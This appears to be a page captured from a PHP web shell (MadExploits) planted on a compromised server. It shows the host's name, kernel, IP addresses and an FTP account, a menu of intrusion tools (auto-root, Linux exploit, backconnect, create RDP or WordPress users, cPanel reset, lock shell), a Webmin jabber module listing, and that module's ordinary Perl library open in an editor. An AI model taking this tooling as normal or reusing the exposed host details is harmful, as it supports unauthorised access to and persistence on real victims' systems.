Linux server.thearyasamaj.org 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
Apache
: 103.90.241.146 | : 216.73.216.213
Cant Read [ /etc/named.conf ]
5.6.40
ftpuser@mantra.thearyasamaj.org
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
libexec /
webmin /
jabber /
[ HOME SHELL ]
Name
Size
Permission
Action
help
[ DIR ]
drwxr-xr-x
images
[ DIR ]
drwxr-xr-x
lang
[ DIR ]
drwxr-xr-x
backup_config.pl
770
B
-rwxr-xr-x
config
152
B
-rw-r--r--
config-cobalt-linux
190
B
-rw-r--r--
config-coherent-linux
190
B
-rw-r--r--
config-debian-linux
166
B
-rw-r--r--
config-gentoo-linux
195
B
-rw-r--r--
config-mandrake-linux
185
B
-rw-r--r--
config-msc-linux
190
B
-rw-r--r--
config-openSUSE-Linux-15.0-ALL
186
B
-rw-r--r--
config-openmamba-linux
190
B
-rw-r--r--
config-redhat-linux
190
B
-rw-r--r--
config-suse-linux
190
B
-rw-r--r--
config-syno-linux
152
B
-rw-r--r--
config-trustix-linux
190
B
-rw-r--r--
config-turbo-linux
190
B
-rw-r--r--
config-united-linux
202
B
-rw-r--r--
config.info
365
B
-rw-r--r--
config.info.ca
415
B
-rw-r--r--
config.info.cs
344
B
-rw-r--r--
config.info.de
413
B
-rw-r--r--
config.info.es
340
B
-rw-r--r--
config.info.nl
397
B
-rw-r--r--
config.info.no
373
B
-rw-r--r--
config.info.pl
394
B
-rw-r--r--
config.info.ru
580
B
-rw-r--r--
config.info.uk
592
B
-rw-r--r--
cpan_modules.pl
97
B
-rwxr-xr-x
edit_admin.cgi
1.66
KB
-rwxr-xr-x
edit_file.cgi
699
B
-rwxr-xr-x
edit_filter.cgi
1.37
KB
-rwxr-xr-x
edit_general.cgi
1.7
KB
-rwxr-xr-x
edit_ips.cgi
1.59
KB
-rwxr-xr-x
edit_karma.cgi
2.83
KB
-rwxr-xr-x
edit_messages.cgi
2.46
KB
-rwxr-xr-x
edit_modules.cgi
1.35
KB
-rwxr-xr-x
index.cgi
4.11
KB
-rwxr-xr-x
install_check.pl
609
B
-rwxr-xr-x
jabber-lib.pl
5.13
KB
-rwxr-xr-x
module.info
169
B
-rw-r--r--
module.info.af
0
B
-rw-r--r--
module.info.af.auto
106
B
-rw-r--r--
module.info.ar
0
B
-rw-r--r--
module.info.ar.auto
169
B
-rw-r--r--
module.info.be
0
B
-rw-r--r--
module.info.be.auto
189
B
-rw-r--r--
module.info.bg
0
B
-rw-r--r--
module.info.bg.auto
173
B
-rw-r--r--
module.info.ca
98
B
-rw-r--r--
module.info.ca.auto
15
B
-rw-r--r--
module.info.cs
25
B
-rw-r--r--
module.info.cs.auto
85
B
-rw-r--r--
module.info.da
0
B
-rw-r--r--
module.info.da.auto
106
B
-rw-r--r--
module.info.de
95
B
-rw-r--r--
module.info.de.auto
17
B
-rw-r--r--
module.info.el
0
B
-rw-r--r--
module.info.el.auto
201
B
-rw-r--r--
module.info.es
42
B
-rw-r--r--
module.info.es.auto
90
B
-rw-r--r--
module.info.eu
0
B
-rw-r--r--
module.info.eu.auto
120
B
-rw-r--r--
module.info.fa
0
B
-rw-r--r--
module.info.fa.auto
142
B
-rw-r--r--
module.info.fi
0
B
-rw-r--r--
module.info.fi.auto
115
B
-rw-r--r--
module.info.fr
0
B
-rw-r--r--
module.info.fr.auto
113
B
-rw-r--r--
module.info.he
0
B
-rw-r--r--
module.info.he.auto
153
B
-rw-r--r--
module.info.hr
0
B
-rw-r--r--
module.info.hr.auto
132
B
-rw-r--r--
module.info.hu
0
B
-rw-r--r--
module.info.hu.auto
119
B
-rw-r--r--
module.info.it
0
B
-rw-r--r--
module.info.it.auto
118
B
-rw-r--r--
module.info.ja
0
B
-rw-r--r--
module.info.ja.auto
148
B
-rw-r--r--
module.info.ko
0
B
-rw-r--r--
module.info.ko.auto
126
B
-rw-r--r--
module.info.lt
0
B
-rw-r--r--
module.info.lt.auto
130
B
-rw-r--r--
module.info.lv
0
B
-rw-r--r--
module.info.lv.auto
118
B
-rw-r--r--
module.info.ms
94
B
-rw-r--r--
module.info.ms.auto
15
B
-rw-r--r--
module.info.mt
0
B
-rw-r--r--
module.info.mt.auto
116
B
-rw-r--r--
module.info.nl
25
B
-rw-r--r--
module.info.nl.auto
93
B
-rw-r--r--
module.info.no
25
B
-rw-r--r--
module.info.no.auto
85
B
-rw-r--r--
module.info.pl
95
B
-rw-r--r--
module.info.pl.auto
17
B
-rw-r--r--
module.info.pt
0
B
-rw-r--r--
module.info.pt.auto
109
B
-rw-r--r--
module.info.pt_BR
0
B
-rw-r--r--
module.info.pt_BR.auto
118
B
-rw-r--r--
module.info.ro
0
B
-rw-r--r--
module.info.ro.auto
125
B
-rw-r--r--
module.info.ru
47
B
-rw-r--r--
module.info.ru.auto
150
B
-rw-r--r--
module.info.sk
0
B
-rw-r--r--
module.info.sk.auto
120
B
-rw-r--r--
module.info.sl
0
B
-rw-r--r--
module.info.sl.auto
120
B
-rw-r--r--
module.info.sv
0
B
-rw-r--r--
module.info.sv.auto
112
B
-rw-r--r--
module.info.th
0
B
-rw-r--r--
module.info.th.auto
250
B
-rw-r--r--
module.info.tr
0
B
-rw-r--r--
module.info.tr.auto
129
B
-rw-r--r--
module.info.uk
0
B
-rw-r--r--
module.info.uk.auto
191
B
-rw-r--r--
module.info.ur
0
B
-rw-r--r--
module.info.ur.auto
146
B
-rw-r--r--
module.info.vi
0
B
-rw-r--r--
module.info.vi.auto
114
B
-rw-r--r--
module.info.zh
0
B
-rw-r--r--
module.info.zh.auto
94
B
-rw-r--r--
module.info.zh_TW
0
B
-rw-r--r--
module.info.zh_TW.auto
103
B
-rw-r--r--
restart.cgi
274
B
-rwxr-xr-x
save_admin.cgi
1.16
KB
-rwxr-xr-x
save_file.cgi
636
B
-rwxr-xr-x
save_filter.cgi
920
B
-rwxr-xr-x
save_general.cgi
1.75
KB
-rwxr-xr-x
save_ips.cgi
979
B
-rwxr-xr-x
save_karma.cgi
1.26
KB
-rwxr-xr-x
save_messages.cgi
1.29
KB
-rwxr-xr-x
save_modules.cgi
748
B
-rwxr-xr-x
start.cgi
168
B
-rwxr-xr-x
stop.cgi
197
B
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : jabber-lib.pl
# jabber-lib.pl # Common functions for editing the jabber config files # # XXX - http://prdownloads.sourceforge.net/expat/expat-1.95.2-1.i686.rpm # - XML::Parser XML::Generator # XXX - admin <read> and <write> - what do they mean? BEGIN { push(@INC, ".."); }; use WebminCore; &init_config(); if ($config{'jabber_lib'}) { $ENV{$gconfig{'ld_env'}} .= ':' if ($ENV{$gconfig{'ld_env'}}); $ENV{$gconfig{'ld_env'}} .= $config{'jabber_lib'}; } eval "use XML::Parser; \$got_xml_parser++"; eval "use XML::Generator; \$got_xml_generator++"; # get_jabber_config() # Parse the jabber XML config file sub get_jabber_config { return $get_jabber_config_cache if (defined($get_jabber_config_cache)); local $xml = new XML::Parser('Style' => 'Tree'); eval { $get_jabber_config_cache = $xml->parsefile($config{'jabber_config'}); }; if ($@) { return $@; } return $get_jabber_config_cache; } # find(name, &config) sub find { local (@rv, $i); local $list = $_[1]->[1]; for($i=1; $i<@$list; $i+=2) { if (lc($list->[$i]) eq lc($_[0])) { push(@rv, [ $list->[$i], $list->[$i+1], $i ]); } } return wantarray ? @rv : $rv[0]; } # find_value(name, &config) sub find_value { local @rv = map { &value_in($_) } &find($_[0], $_[1]); return wantarray ? @rv : $rv[0]; } # jabber_pid_file() # Returns the PID file used by jabber sub jabber_pid_file { local $conf = &get_jabber_config(); local $pidfile = &find_value("pidfile", $conf); if ($pidfile =~ /^\//) { return $pidfile; } elsif ($pidfile) { return "$config{'jabber_dir'}/$pidfile"; } else { return "$config{'jabber_dir'}/jabber.pid"; } } # value_in(&tag) sub value_in { return undef if (!$_[0]); local $zero = &find("0", $_[0]); return $zero ? $zero->[1] : undef; } # generate_config(&tree, &gen) # Returns an XML::Generator object created from a config tree structure sub generate_config { local $gen = $_[1] ? $_[1] : XML::Generator->new(escape => 'always'); local $list = $_[0]->[1]; local (@mems, $i); for($i=1; $i<@$list-1; $i+=2) { if ($list->[$i] eq '0') { push(@mems, $list->[$i+1]); } else { push(@mems, &generate_config( [ $list->[$i], $list->[$i+1] ], $gen)); } } local $name = $_[0]->[0]; return $gen->$name($list->[0], @mems); } # save_jabber_config(&config) sub save_jabber_config { &open_tempfile(CONFIG, ">$config{'jabber_config'}"); local $xml = &generate_config($_[0]); &print_tempfile(CONFIG, $xml); &print_tempfile(CONFIG, "\n"); &close_tempfile(CONFIG); } # save_directive(&config, name|&old, &new) # Replaces all directives of some name with new values sub save_directive { local @ov = ref($_[1]) ? @{$_[1]} : &find($_[1], $_[0]); local @nv = @{$_[2]}; local ($i, $j); for($i=0; $i<@ov || $i<@nv; $i++) { local $idx = $ov[$i]->[2] if ($ov[$i]); if ($ov[$i] && $nv[$i]) { # Updating an existing value $_[0]->[1]->[$idx] = $nv[$i]->[0]; $_[0]->[1]->[$idx+1] = $nv[$i]->[1]; } elsif ($ov[$i]) { # Deleting an old value splice(@{$_[0]->[1]}, $idx, 2); map { $_->[2] -= 2 if ($_->[2] >= $idx) } @ov; } else { # Adding a new value after the last non-text one local $nt = -1; for($j=1; $j<@{$_[0]->[1]}; $j+=2) { $nt = $j if ($_[0]->[1]->[$j] ne '0'); } splice(@{$_[0]->[1]}, $nt+2, 0, $nv[$i]->[0], $nv[$i]->[1]); } } } # find_by_tag(name, tag, value, &config) sub find_by_tag { local @m = &find($_[0], $_[3]); @m = grep { lc($_->[1]->[0]->{lc($_[1])}) eq lc($_[2]) } @m; return wantarray ? @m : $m[0]; } # xml_string(name, &tree, ...) # Converts a list of XML structures into text sub xml_string { local $rv = ""; for($i=0; $i<@_; $i+=2) { local $xml = &generate_config([ $_[$i], $_[$i+1] ]); if ($xml =~ /\S/) { $rv .= $xml."\n"; } } return $rv; } # get_jabberd_version(&out) sub get_jabberd_version { local $jabberd = $config{'jabber_daemon'} ? $config{'jabber_daemon'} : "$config{'jabber_dir'}/bin/jabberd"; local $out = `$jabberd -v 2>&1`; ${$_[0]} = $out; return $out =~ /\s(1\.4\S*)/ ? $1 : undef; } # stop_jabber() # Stops jabber, and returns undef on success or an error message on failure sub stop_jabber { if ($config{'stop_cmd'}) { &system_logged("$config{'stop_cmd'} </dev/null >/dev/null 2>&1"); } else { local $pid = &check_pid_file(&jabber_pid_file()); if ($pid) { &kill_logged('TERM', $pid) || return $!; } else { return $text{'stop_epid'}; } } unlink(&jabber_pid_file()); return undef; } # start_jabber() # Starts jabber, and returns undef on success or an error message on failure sub start_jabber { &system_logged("$config{'start_cmd'} </dev/null >/tmp/err 2>&1"); return undef; } @register_fields = ( 'name', 'email' ); @karma_presets = ( { 'heartbeat' => 2, 'init' => 10, 'max' => 10, 'inc' => 1, 'dec' => 1, 'penalty' => -6, 'restore' => 10 }, { 'heartbeat' => 2, 'init' => 50, 'max' => 50, 'inc' => 4, 'dec' => 1, 'penalty' => -5, 'restore' => 50 }, { 'heartbeat' => 2, 'init' => 64, 'max' => 64, 'inc' => 6, 'dec' => 1, 'penalty' => -3, 'restore' => 64 } ); @filter_conds = ( "ns", "unavailable", "from", "resource", "subject", "body", "show", "type", "roster", "group" ); @filter_acts = ( "error", "offline", "forward", "reply", "continue", "settype" ); 1;
Close